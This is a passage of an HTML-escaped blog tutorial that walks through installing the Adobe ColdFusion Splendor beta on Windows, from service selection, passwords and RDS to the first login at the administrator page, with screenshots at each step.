&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&amp;nbsp;Leave all check boxes checked and click &quot;Next&quot;. These are the services provided by ColdFusion and if in production you don&#39;t need any of the services like &quot;.NET Integration&quot; or &quot;Solr Service&quot; then you can uncheck it but in developer edition you should check all as you may need any of them in future.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfFvSG-VBCkUFNN4wwY_aznDLptAJPi7ULMDeT4StGn_XNeLqqsBFRmbYqx1j_kvsjwdMsNHAjgzyhbpFizcvokiwxaIKaCvhLHzdM3sjAZYt-G1iL0N70xzED2DpnYdxwYpOC126EtYU/s1600/splendor6.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfFvSG-VBCkUFNN4wwY_aznDLptAJPi7ULMDeT4StGn_XNeLqqsBFRmbYqx1j_kvsjwdMsNHAjgzyhbpFizcvokiwxaIKaCvhLHzdM3sjAZYt-G1iL0N70xzED2DpnYdxwYpOC126EtYU/s1600/splendor6.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&amp;nbsp;Leave the location at C:\ColdFusionSplendor\ and click &quot;Next&quot;. If you want to install in a different location you can, but it is important to note that the install instructions will always reference C:\ColdFusionSplendor.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_q4I1uiWelQxErQV1rKVl7KNLpuy7P917X3WtvF0TmzURnvIFZgGRBV8RT2o7RCTUuHEQ_7dcEu1JZ7UTXO5hQoJZeUsXbLRProXT1u-bSpiBEpagtoMb0OGj-yBW-n4UGNQICC6hJDs/s1600/splendor7.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_q4I1uiWelQxErQV1rKVl7KNLpuy7P917X3WtvF0TmzURnvIFZgGRBV8RT2o7RCTUuHEQ_7dcEu1JZ7UTXO5hQoJZeUsXbLRProXT1u-bSpiBEpagtoMb0OGj-yBW-n4UGNQICC6hJDs/s1600/splendor7.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&amp;nbsp;Select &#39;Enable the Built-in web server (coexist)&#39; and click &quot;Next&quot;.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlaSBWm09CXz_TYjaTZUjN1eZUZKmcyk7CY9fAnyyRnuvKO3NVElF1tAdS2nefaGTowvtxbB96GHrPl7I1LLB1hznNnvOiEUchtEoVY0r2EyNw9adbMnEYmUslFRsjw_THPhoos5fqR-E/s1600/splendor8.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlaSBWm09CXz_TYjaTZUjN1eZUZKmcyk7CY9fAnyyRnuvKO3NVElF1tAdS2nefaGTowvtxbB96GHrPl7I1LLB1hznNnvOiEUchtEoVY0r2EyNw9adbMnEYmUslFRsjw_THPhoos5fqR-E/s1600/splendor8.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
Now the Adobe ColdFusion Splendor Beta built in web server will be configured to use port 8501. Port 8500 is already in use (ColdFusion 10)&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&amp;nbsp;Click &quot;Next&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuSlWaltmz1dWW0mg2dbMjSUeEJENYoLrO8m1DXOcZ0UaDAV25EsmSb6GUMMIhZONruew2hy3-oSmOFBXd29k0ugEFuulmUEw3lOMLbNss1_ov1gIe6UeBxg-dYpqn1wO-BkA-_xysoB8/s1600/splendor9.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuSlWaltmz1dWW0mg2dbMjSUeEJENYoLrO8m1DXOcZ0UaDAV25EsmSb6GUMMIhZONruew2hy3-oSmOFBXd29k0ugEFuulmUEw3lOMLbNss1_ov1gIe6UeBxg-dYpqn1wO-BkA-_xysoB8/s1600/splendor9.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&amp;nbsp;Provide a password and click &quot;Next&quot;. Make sure you remember the password; you will need this later on in the install process.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxJcobF8Uy6BrLVg0abraoDuSbCXzbn5MF3uXyvVE4-9m7caZ1X-t2SGyrP_lMCg_-5i6CU_VA8-zoYw3jHyxGFnl6bFQWxIkf3QwzHoNSQreHydt0epkfBd-HJ9RB2myykcKePJeAQRI/s1600/splendor10.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxJcobF8Uy6BrLVg0abraoDuSbCXzbn5MF3uXyvVE4-9m7caZ1X-t2SGyrP_lMCg_-5i6CU_VA8-zoYw3jHyxGFnl6bFQWxIkf3QwzHoNSQreHydt0epkfBd-HJ9RB2myykcKePJeAQRI/s1600/splendor10.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&amp;nbsp;Select &#39;Enable RDS&#39;, provide a password and click &quot;Next&quot;. Make sure you remember the password!! In production make sure you disable RDS.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9CZDSyT0LNCN3Zo1Ui9S4jbU5cz56-d3P7UOUgKcRlAvSYR2K_P6C0-nuN22pZdhEgD7O8tSO_hkAugT0DWxA2ueXxEaiK7cUH7iy8FNX-ubSO9_e1tOqNHKFw9asixUh42z4SHTYA08/s1600/splendor11.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9CZDSyT0LNCN3Zo1Ui9S4jbU5cz56-d3P7UOUgKcRlAvSYR2K_P6C0-nuN22pZdhEgD7O8tSO_hkAugT0DWxA2ueXxEaiK7cUH7iy8FNX-ubSO9_e1tOqNHKFw9asixUh42z4SHTYA08/s1600/splendor11.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&amp;nbsp;Leave the &#39;Automatically check for server updates&#39; selected and click &quot;Next&quot;.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUnyO2xhQJGg8GMoe47Bb3gTlr6uag5bMqlkpqfaDnQ5aMiuXxa8SKh0AUcsuxX87m-2hdFa7D4E5Y0HAMerzSz44K-XS5wQZIkpbkpAs0LOsxLu2GqiHCQB5LB4X6ZYuN83DX5HaGUn8/s1600/splendor12.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUnyO2xhQJGg8GMoe47Bb3gTlr6uag5bMqlkpqfaDnQ5aMiuXxa8SKh0AUcsuxX87m-2hdFa7D4E5Y0HAMerzSz44K-XS5wQZIkpbkpAs0LOsxLu2GqiHCQB5LB4X6ZYuN83DX5HaGUn8/s1600/splendor12.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&amp;nbsp;Click &quot;Install&quot;.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjq4tcossmmItBSSYmOBhWDxAPGrB2e2Mz95l9dKRPxPemqRbpEF8VP38BD-hpSyP2DqSUZ5Vt0FMMkQCh53eXpZ49MANPPtNQ5uUsZHQqEB2mzZeQnOEVkzZTteKjpesn-LNIY-dFI00/s1600/splendor13.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjq4tcossmmItBSSYmOBhWDxAPGrB2e2Mz95l9dKRPxPemqRbpEF8VP38BD-hpSyP2DqSUZ5Vt0FMMkQCh53eXpZ49MANPPtNQ5uUsZHQqEB2mzZeQnOEVkzZTteKjpesn-LNIY-dFI00/s1600/splendor13.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKDK0FSgEIdCn1NApkaNUO7X8wy0Y5_pwqHqMOtNvIkzbuUKKXb60cTTrwovmnFtBsxdYLp06cuuXlN-qi8e4hpQepRqL__GgVtnKCKNOrhyphenhypheny-vSf6WjlPvkod6_8vddxn7tvCUsmGAG4/s1600/splendor14.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKDK0FSgEIdCn1NApkaNUO7X8wy0Y5_pwqHqMOtNvIkzbuUKKXb60cTTrwovmnFtBsxdYLp06cuuXlN-qi8e4hpQepRqL__GgVtnKCKNOrhyphenhypheny-vSf6WjlPvkod6_8vddxn7tvCUsmGAG4/s1600/splendor14.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&amp;nbsp;If you receive any Windows firewall messages, click &#39;Allow access&#39;.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibS8-3DIjhmGROPPQCOz0c9ot6ZPEOaa_igKRrROj1opamgsFV6-WGytG7tpfPXtrywgbLMDhosYhoFW1t4eyZ67Hd2ifnrDR84V8axbNF-0gCzdMl2UYMSlFdhnJRA9H84meK3yvRYqU/s1600/splendor15.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibS8-3DIjhmGROPPQCOz0c9ot6ZPEOaa_igKRrROj1opamgsFV6-WGytG7tpfPXtrywgbLMDhosYhoFW1t4eyZ67Hd2ifnrDR84V8axbNF-0gCzdMl2UYMSlFdhnJRA9H84meK3yvRYqU/s1600/splendor15.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhoLbQFr0i5Vzw5vTa693fcb_m_TEjALvJm2_Pn-C73XvtV-IKE1JAkEbKjupgRWKbjViVf_yJ4D3Pa0lVvM2nbEWIQa84k1BiWb3DHSfKvuHLuiRoH7ul937JiaHW87FIeHE2I9W2QSyo/s1600/splendor16.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhoLbQFr0i5Vzw5vTa693fcb_m_TEjALvJm2_Pn-C73XvtV-IKE1JAkEbKjupgRWKbjViVf_yJ4D3Pa0lVvM2nbEWIQa84k1BiWb3DHSfKvuHLuiRoH7ul937JiaHW87FIeHE2I9W2QSyo/s1600/splendor16.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVSvQFjHPrYjUREb-In5WQFAxJhESxTjt-iU06Kx9vzP-bd675u_vLN-Na9V6Y7bnUgss2MCcQOCPzgWfm5CbTN60QjEwYvOI5vQFI53BShyphenhyphenXxpioAqWQlxm2zCfJ6qY8K8wXbLnygb-U/s1600/splendor17.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVSvQFjHPrYjUREb-In5WQFAxJhESxTjt-iU06Kx9vzP-bd675u_vLN-Na9V6Y7bnUgss2MCcQOCPzgWfm5CbTN60QjEwYvOI5vQFI53BShyphenhyphenXxpioAqWQlxm2zCfJ6qY8K8wXbLnygb-U/s1600/splendor17.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&amp;nbsp;When the installation wizard is done, keep the &#39;Launch the Configuration Wizard in the default browser&#39; selected and click &quot;Done&quot;.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0dSvy3RBiaiUnupMSCIz23KKgqXgG3yvpLN_a4xMN-t869IGu6Zd0z616pYZzamxNZdBoi48Z3ahZf1oqx-PdNWGBPDL43GvBX-Kughs4J3JZazVKUWeT0hT7-EBTaPZ1y8KvSl0T5SA/s1600/splendor18.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0dSvy3RBiaiUnupMSCIz23KKgqXgG3yvpLN_a4xMN-t869IGu6Zd0z616pYZzamxNZdBoi48Z3ahZf1oqx-PdNWGBPDL43GvBX-Kughs4J3JZazVKUWeT0hT7-EBTaPZ1y8KvSl0T5SA/s1600/splendor18.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&amp;nbsp;A browser window will open. Enter your ColdFusion Administrator Password and click &quot;Login&quot;. (This is the password which we had set for CF Admin)&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8WyRh5QIp765RngwLcKV2ZsqDRmwDbo9F22BXpLyG3MkYAGptLIaLfG7h7dMJQUneQf-Lwp-afdBprevBREy2EQXDvt82mDv6jpRvWt9LLIly-keHVYvrCCpDfllHnWiXzS6nXFtsFZk/s1600/splendor19.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8WyRh5QIp765RngwLcKV2ZsqDRmwDbo9F22BXpLyG3MkYAGptLIaLfG7h7dMJQUneQf-Lwp-afdBprevBREy2EQXDvt82mDv6jpRvWt9LLIly-keHVYvrCCpDfllHnWiXzS6nXFtsFZk/s1600/splendor19.jpg&quot; height=&quot;451&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&amp;nbsp;Click &quot;Next&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQGdeJG2tOECdpyWsRGR_CAkrHCa43Htyn7dTpyYZ12RtUauhF0OVem7dFLJIqz4wTq1paxJOYdYhEpU_8dWX8_7-bjCbCfzDivKgh64v4nlN23rXIyOCAQ9x9p_ceUIGyKmkm2awN1WM/s1600/splendor20.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQGdeJG2tOECdpyWsRGR_CAkrHCa43Htyn7dTpyYZ12RtUauhF0OVem7dFLJIqz4wTq1paxJOYdYhEpU_8dWX8_7-bjCbCfzDivKgh64v4nlN23rXIyOCAQ9x9p_ceUIGyKmkm2awN1WM/s1600/splendor20.jpg&quot; height=&quot;455&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Here it&#39;s asking to migrate settings of CF Admin of other CF server present in the machine. Ex: If in your machine you have CF10 and you want to migrate data source, schedule tasks and other server related settings to migrate to CF Splendor then click next. If you don&#39;t want to migrate any settings then click &quot;skip&quot;.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGgEMVGnwRNN-HD0_9l3RbvmIT17mQWkTDC9sVeyKAHigP2EWn5N9BRWEsuiR89iswqYn-7zM47ExXWvMZn0JyERWKpIOaswWjDZMOgWkkLk9q1Q6no380P7dlv1Tpoq7p-FcqJQRpMHE/s1600/splendor21.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGgEMVGnwRNN-HD0_9l3RbvmIT17mQWkTDC9sVeyKAHigP2EWn5N9BRWEsuiR89iswqYn-7zM47ExXWvMZn0JyERWKpIOaswWjDZMOgWkkLk9q1Q6no380P7dlv1Tpoq7p-FcqJQRpMHE/s1600/splendor21.jpg&quot; height=&quot;455&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Click &quot;Next&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhC8lkbfH8zFA5IilFlLH9bRaM2M2V1WZ3M19JEmyVRq7k1ZyZMfcIaFQO6zY3xDV2Wkads5xObG5KnUYCyLjkdjKR-ijzz2roDBleUPRUIowROL5e6rkqbru8mE6qZgtPdLuMRHewntgo/s1600/splendor22.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhC8lkbfH8zFA5IilFlLH9bRaM2M2V1WZ3M19JEmyVRq7k1ZyZMfcIaFQO6zY3xDV2Wkads5xObG5KnUYCyLjkdjKR-ijzz2roDBleUPRUIowROL5e6rkqbru8mE6qZgtPdLuMRHewntgo/s1600/splendor22.jpg&quot; height=&quot;455&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Click &quot;Next&quot;&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrHV4FyD_2FcfFcKNgSairkhtKoEORaEucOJ8fqFP7XYSQcjmNt9-90vwNci1f50y-TwjkdUHdygt5_ZQojO-Et2P3F1r381mIBDfvGmf3lZPbhyPDHXH0dyD6zPR0TYk4usGvd6-EnQc/s1600/splendor23.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrHV4FyD_2FcfFcKNgSairkhtKoEORaEucOJ8fqFP7XYSQcjmNt9-90vwNci1f50y-TwjkdUHdygt5_ZQojO-Et2P3F1r381mIBDfvGmf3lZPbhyPDHXH0dyD6zPR0TYk4usGvd6-EnQc/s1600/splendor23.jpg&quot; height=&quot;455&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Once you receive the &#39;Setup Complete&#39; screen, click the &quot;OK&quot; button.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjY_xcqFcHv4qO4YLhVQwIc5B4Ya2zRGSxcM1z08hwIEZWqced7aBO08E9z1qu_Bya81krO9VKkUKlxnxj9mmYKO4BNtlVtF9t4cA-gjOESOwS9H5ookprT7XM1lznRsxINmx-IOQ6gZiM/s1600/splendor24.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjY_xcqFcHv4qO4YLhVQwIc5B4Ya2zRGSxcM1z08hwIEZWqced7aBO08E9z1qu_Bya81krO9VKkUKlxnxj9mmYKO4BNtlVtF9t4cA-gjOESOwS9H5ookprT7XM1lznRsxINmx-IOQ6gZiM/s1600/splendor24.jpg&quot; height=&quot;455&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;You will now see the ColdFusion Administrator screen.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibYDAi-kgaeNjPfxdgM9q50cfCG2IdPIrpr2Z3oW0jvYX1jfbZJ5DWmRMe47M2zu7DsGNDnBU6492Z48nFf7RboaqQax07yO3Gvrrq7VEYh3-nmbVnuhOO1gt5noJfASMgUzO3cG3YkjE/s1600/splendor25.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibYDAi-kgaeNjPfxdgM9q50cfCG2IdPIrpr2Z3oW0jvYX1jfbZJ5DWmRMe47M2zu7DsGNDnBU6492Z48nFf7RboaqQax07yO3Gvrrq7VEYh3-nmbVnuhOO1gt5noJfASMgUzO3cG3YkjE/s1600/splendor25.jpg&quot; height=&quot;455&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span style=&quot;text-align: left;&quot;&gt;To access this screen at a later date, you can go to: &lt;a href=&quot;http://localhost:8501/CFIDE/administrator/index.cfm&quot;&gt;http://localhost:8501/CFIDE/administrator/index.cfm&lt;/a&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
